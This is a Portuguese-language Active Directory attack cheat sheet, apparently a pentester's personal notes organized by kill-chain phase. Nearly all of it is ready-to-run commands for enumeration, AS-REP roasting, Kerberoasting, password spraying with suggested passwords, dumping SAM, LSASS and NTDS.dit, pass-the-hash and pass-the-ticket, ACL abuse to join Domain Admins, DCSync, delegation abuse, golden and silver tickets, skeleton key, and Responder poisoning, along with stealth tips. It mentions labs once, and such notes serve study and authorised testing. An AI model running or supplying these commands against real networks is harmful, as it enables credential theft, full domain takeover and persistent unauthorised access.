Tudo que eu fico voltando quando ataco Active Directory. Organizado por fase da kill chain pra achar o que precisa rápido.
Enumeração
SMB (porta 445)
# Enum com null session
nxc smb $IP -u '' -p ''
nxc smb $IP -u 'guest' -p ''
# Listar shares
nxc smb $IP -u $USER -p $PASS --shares
smbclient -L //$IP -N
smbmap -H $IP -u $USER -p $PASS
# Varrer shares atrás de arquivos suculentos
nxc smb $IP -u $USER -p $PASS -M spider_plus
# Conectar na share
smbclient //$IP/$SHARE -U $USER%$PASS
# Download recursivo da share inteira
smbget -R smb://$IP/$SHARE -U $USER%$PASS
Pegadinha: Sempre tente null session E guest. Alguns DCs rejeitam um mas não o outro.
LDAP (porta 389/636)
# Bind anônimo
ldapsearch -x -H ldap://$IP -b "DC=domain,DC=local"
# Enum autenticada
ldapsearch -x -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "DC=domain,DC=local"
# Dumpar usuários
ldapsearch -x -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName
# Achar domain admins
ldapsearch -x -H ldap://$IP -D "$USER@domain.local" -w "$PASS" -b "DC=domain,DC=local" "(&(objectClass=group)(cn=Domain Admins))" member
# Enum LDAP com nxc
nxc ldap $IP -u $USER -p $PASS --users
nxc ldap $IP -u $USER -p $PASS --groups
RPC (porta 135/593)
# Conectar
rpcclient -U "" -N $IP
rpcclient -U "$USER%$PASS" $IP
# Dentro do rpcclient
enumdomusers
enumdomgroups
queryuser 0x1f4
querygroupmem 0x200
getdompwinfo
DNS
# Zone transfer
dig axfr domain.local @$IP
# Reverse lookup brute
dnsrecon -r 10.10.10.0/24 -n $IP
Enumeração Completa de Usuários
# Kerbrute - encontrar usernames válidos (sem auth necessária)
kerbrute userenum -d domain.local --dc $IP /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
# RID brute force
nxc smb $IP -u 'guest' -p '' --rid-brute 10000
lookupsid.py domain.local/guest@$IP -no-pass
Dica: RID brute é ouro. Mesmo com acesso mínimo frequentemente pega a lista completa de usuários.
BloodHound
Coleta
# Do Linux (remoto)
bloodhound-python -d domain.local -u $USER -p $PASS -ns $IP -c all
# Do Windows
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
# Ou o exe
.\SharpHound.exe -c all
Queries Importantes
Marque os usuários owned primeiro, depois cheque:
- Shortest Paths to Domain Admins — a query que vale ouro
- Find AS-REP Roastable Users —
DONT_REQUIRE_PREAUTH - Find Kerberoastable Users — SPNs com caminhos admin
- Shortest Paths from Owned Principals — o que alcança agora
- Find Computers Where Domain Users Are Local Admin
Custom Cypher Queries
# Usuários com direitos DCSync
MATCH (n)-[:MemberOf|HasSIDHistory*1..]->(g:Group)-[:DCSync|GetChanges|GetChangesAll]->(d:Domain) RETURN n.name, g.name
# Computadores com unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
# Usuários com GenericAll sobre outros usuários
MATCH (u:User)-[:GenericAll]->(t:User) RETURN u.name, t.name
Ataques de Credenciais
AS-REP Roasting
Não precisa de senha. Mira em usuários com “Do not require Kerberos preauthentication” ativado.
# Encontrar e roastar
GetNPUsers.py domain.local/ -no-pass -usersfile users.txt -dc-ip $IP
GetNPUsers.py domain.local/ -no-pass -request -dc-ip $IP
# nxc
nxc ldap $IP -u $USER -p $PASS --asreproast asrep.txt
# Crackear
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
Kerberoasting
Precisa de creds válidas. Solicita tickets TGS de service accounts -> cracka offline.
# Impacket
GetUserSPNs.py domain.local/$USER:$PASS -dc-ip $IP -request
# nxc
nxc ldap $IP -u $USER -p $PASS --kerberoasting kerb.txt
# Do Windows
# Rubeus
.\Rubeus.exe kerberoast /outfile:kerb.txt
# PowerView
Invoke-Kerberoast -OutputFormat Hashcat | fl
# Crackear
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
Pegadinha: Mire em contas com AdminCount=1 primeiro. Não adianta crackear uma service account sem privilégios.
Password Spraying
# nxc — melhor opção, mostra avisos de lockout
nxc smb $IP -u users.txt -p 'Password123!' --continue-on-success
# Kerbrute — mais discreto, sem eventos de logon
kerbrute passwordspray -d domain.local --dc $IP users.txt 'Password123!'
Aviso: Cheque a política de lockout de conta primeiro.
nxc smb $IP -u $USER -p $PASS --pass-pol
Candidatos comuns pra spray: Season+Year! (Spring2026!), Company+123, Welcome1.
Credential Dumping
# SAM dump (precisa ser admin no alvo)
nxc smb $IP -u $ADMIN -p $PASS --sam
secretsdump.py domain.local/$ADMIN:$PASS@$IP
# LSA secrets
nxc smb $IP -u $ADMIN -p $PASS --lsa
# LSASS dump
nxc smb $IP -u $ADMIN -p $PASS -M lsassy
nxc smb $IP -u $ADMIN -p $PASS -M nanodump
# NTDS.dit (domain controller — game over)
secretsdump.py domain.local/$ADMIN:$PASS@$DC_IP -just-dc
nxc smb $DC_IP -u $ADMIN -p $PASS --ntds
Lateral Movement
Pass the Hash (PtH)
Pegou um hash NTLM? Use direto.
# nxc — checar onde o hash funciona
nxc smb $SUBNET/24 -u $USER -H $HASH
# Evil-WinRM
evil-winrm -i $IP -u $USER -H $HASH
# PsExec
psexec.py domain.local/$USER@$IP -hashes :$HASH
# WMI
wmiexec.py domain.local/$USER@$IP -hashes :$HASH
# DCOM
dcomexec.py domain.local/$USER@$IP -hashes :$HASH
# RDP (restricted admin mode)
xfreerdp /v:$IP /u:$USER /pth:$HASH /cert-ignore
Dica: wmiexec é mais discreto que psexec — sem instalação de serviço. psexec dropa um binário e cria um serviço. OPSEC importa mesmo nos labs.
Pass the Ticket (PtT)
# Solicitar TGT com senha
getTGT.py domain.local/$USER:$PASS
# Solicitar TGT com hash
getTGT.py domain.local/$USER -hashes :$HASH
# Usar o ticket
export KRB5CCNAME=./user.ccache
psexec.py domain.local/$USER@$TARGET -k -no-pass
evil-winrm -i $TARGET -r domain.local
WinRM (porta 5985/5986)
evil-winrm -i $IP -u $USER -p $PASS
evil-winrm -i $IP -u $USER -H $HASH
# Upload/download dentro do evil-winrm
upload /path/to/file
download C:\path\to\file
RDP (porta 3389)
xfreerdp /v:$IP /u:$USER /p:$PASS /cert-ignore +clipboard /dynamic-resolution
Variantes PsExec
psexec.py domain.local/$USER:$PASS@$IP
smbexec.py domain.local/$USER:$PASS@$IP # sem binary drop
atexec.py domain.local/$USER:$PASS@$IP "whoami" # scheduled task
Escalação de Privilégios
ACL Abuse
Encontrado via edges do BloodHound. Os grandes:
| Permissão | Abuso |
|---|---|
| GenericAll em usuário | Resetar senha, setar SPN, desabilitar preauth |
| GenericAll em grupo | Se adicionar ao grupo |
| GenericWrite em usuário | Setar SPN -> Kerberoast, escrever logon script |
| WriteDACL | Conceder qualquer permissão pra si mesmo |
| WriteOwner | Tomar ownership -> WriteDACL -> GenericAll |
| ForceChangePassword | Resetar senha sem saber a atual |
| AddMember | Se adicionar ao grupo |
# ForceChangePassword (do Linux)
net rpc password $TARGET_USER $NEWPASS -U domain.local/$USER%$PASS -S $DC_IP
rpcclient -U "$USER%$PASS" $DC_IP -c "setuserinfo2 $TARGET_USER 23 'NewPass123!'"
# Adicionar usuário ao grupo
net rpc group addmem "Domain Admins" $USER -U domain.local/$CONTROLLED_USER%$PASS -S $DC_IP
# Do Windows com PowerView
# GenericAll em usuário -> resetar senha
Set-DomainUserPassword -Identity $TARGET -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)
# WriteDACL -> conceder DCSync
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity $USER -Rights DCSync
# Adicionar ao grupo
Add-DomainGroupMember -Identity "Domain Admins" -Members $USER
DCSync
Precisa de privilégios Replicating Directory Changes + Replicating Directory Changes All. Domain Admins tem isso por padrão.
# Dumpar usuário específico
secretsdump.py domain.local/$USER:$PASS@$DC_IP -just-dc-user Administrator
# Dumpar tudo
secretsdump.py domain.local/$USER:$PASS@$DC_IP -just-dc
# Do Windows (Mimikatz)
lsadump::dcsync /domain:domain.local /user:Administrator
Token Impersonation
# Checar privilégios (no alvo Windows)
whoami /priv
Privilégios chave:
| Privilégio | Ataque |
|---|---|
| SeImpersonatePrivilege | Ataques Potato (JuicyPotato, PrintSpoofer, GodPotato) |
| SeBackupPrivilege | Copiar NTDS.dit e hive SYSTEM |
| SeRestorePrivilege | Escrever em qualquer arquivo, DLL hijack |
| SeTakeOwnershipPrivilege | Tomar ownership de objetos |
Unconstrained Delegation
Computador com TRUSTED_FOR_DELEGATION. Qualquer usuário que autentica nele tem o TGT cacheado.
# Encontrar máquinas com unconstrained delegation
findDelegation.py domain.local/$USER:$PASS -dc-ip $DC_IP
# Forçar auth pra nossa máquina controlada (ex: Printerbug)
python3 printerbug.py domain.local/$USER:$PASS@$DC_IP $ATTACKER_IP
# Capturar TGT com Rubeus na máquina comprometida
.\Rubeus.exe monitor /interval:5
Constrained Delegation
# Encontrar constrained delegation
findDelegation.py domain.local/$USER:$PASS -dc-ip $DC_IP
# Ataque S4U — impersonar admin pro serviço permitido
getST.py domain.local/$SVC_USER:$PASS -spn $TARGET_SPN -impersonate Administrator -dc-ip $DC_IP
export KRB5CCNAME=Administrator.ccache
psexec.py domain.local/Administrator@$TARGET -k -no-pass
Resource-Based Constrained Delegation (RBCD)
Precisa de GenericWrite ou GenericAll num objeto de computador.
# Adicionar uma machine account
addcomputer.py domain.local/$USER:$PASS -computer-name 'FAKE$' -computer-pass 'Passw0rd!'
# Setar msDS-AllowedToActOnBehalfOfOtherIdentity
rbcd.py domain.local/$USER:$PASS -delegate-from 'FAKE$' -delegate-to $TARGET$ -action write -dc-ip $DC_IP
# Pegar service ticket como admin
getST.py domain.local/'FAKE$':'Passw0rd!' -spn cifs/$TARGET -impersonate Administrator -dc-ip $DC_IP
export KRB5CCNAME=Administrator.ccache
psexec.py domain.local/Administrator@$TARGET -k -no-pass
Persistência de Domínio
Golden Ticket
Precisa do hash do krbtgt (do DCSync).
# Pegar hash do krbtgt
secretsdump.py domain.local/$ADMIN:$PASS@$DC_IP -just-dc-user krbtgt
# Forjar golden ticket (Impacket)
ticketer.py -nthash $KRBTGT_HASH -domain-sid $DOMAIN_SID -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:$DOMAIN_SID /krbtgt:$KRBTGT_HASH /ptt
Silver Ticket
Forjar um TGS pra um serviço específico. Precisa do hash NTLM da service account.
ticketer.py -nthash $SVC_HASH -domain-sid $DOMAIN_SID -domain domain.local -spn cifs/$TARGET Administrator
export KRB5CCNAME=Administrator.ccache
Skeleton Key
# Mimikatz no DC — patcha o LSASS, qualquer usuário pode autenticar com "mimikatz" como senha
privilege::debug
misc::skeleton
Referência Rápida Hashcat
| Tipo de Hash | Mode | Exemplo |
|---|---|---|
| NTLM | 1000 | hashcat -m 1000 hash.txt wordlist |
| NetNTLMv2 | 5600 | hashcat -m 5600 hash.txt wordlist |
| AS-REP | 18200 | hashcat -m 18200 hash.txt wordlist |
| Kerberoast (TGS-REP RC4) | 13100 | hashcat -m 13100 hash.txt wordlist |
| Kerberoast (TGS-REP AES256) | 19700 | hashcat -m 19700 hash.txt wordlist |
| DCC2 (mscachev2) | 2100 | hashcat -m 2100 hash.txt wordlist |
Checklist de Quick Wins
- Acesso SMB null/guest -> shares, listas de usuários
- AS-REP Roast -> só precisa de usernames
- Kerberoast -> qualquer creds válidas
- Password spray -> formato
Season+Year! - LLMNR/NBT-NS poisoning -> Responder pra hashes
- Checar edges do BloodHound de cada usuário que possui
- Reuso de credenciais -> sempre spray creds encontradas em todos os hosts
- GPP passwords ->
gpp-decrypt - Scripts no SYSVOL -> creds hardcoded em arquivos .bat/.vbs/.ps1
- Campos de descrição -> senhas em descrições de usuários
# Responder
responder -I tun0 -dwPv
# Checar GPP passwords
nxc smb $IP -u $USER -p $PASS -M gpp_password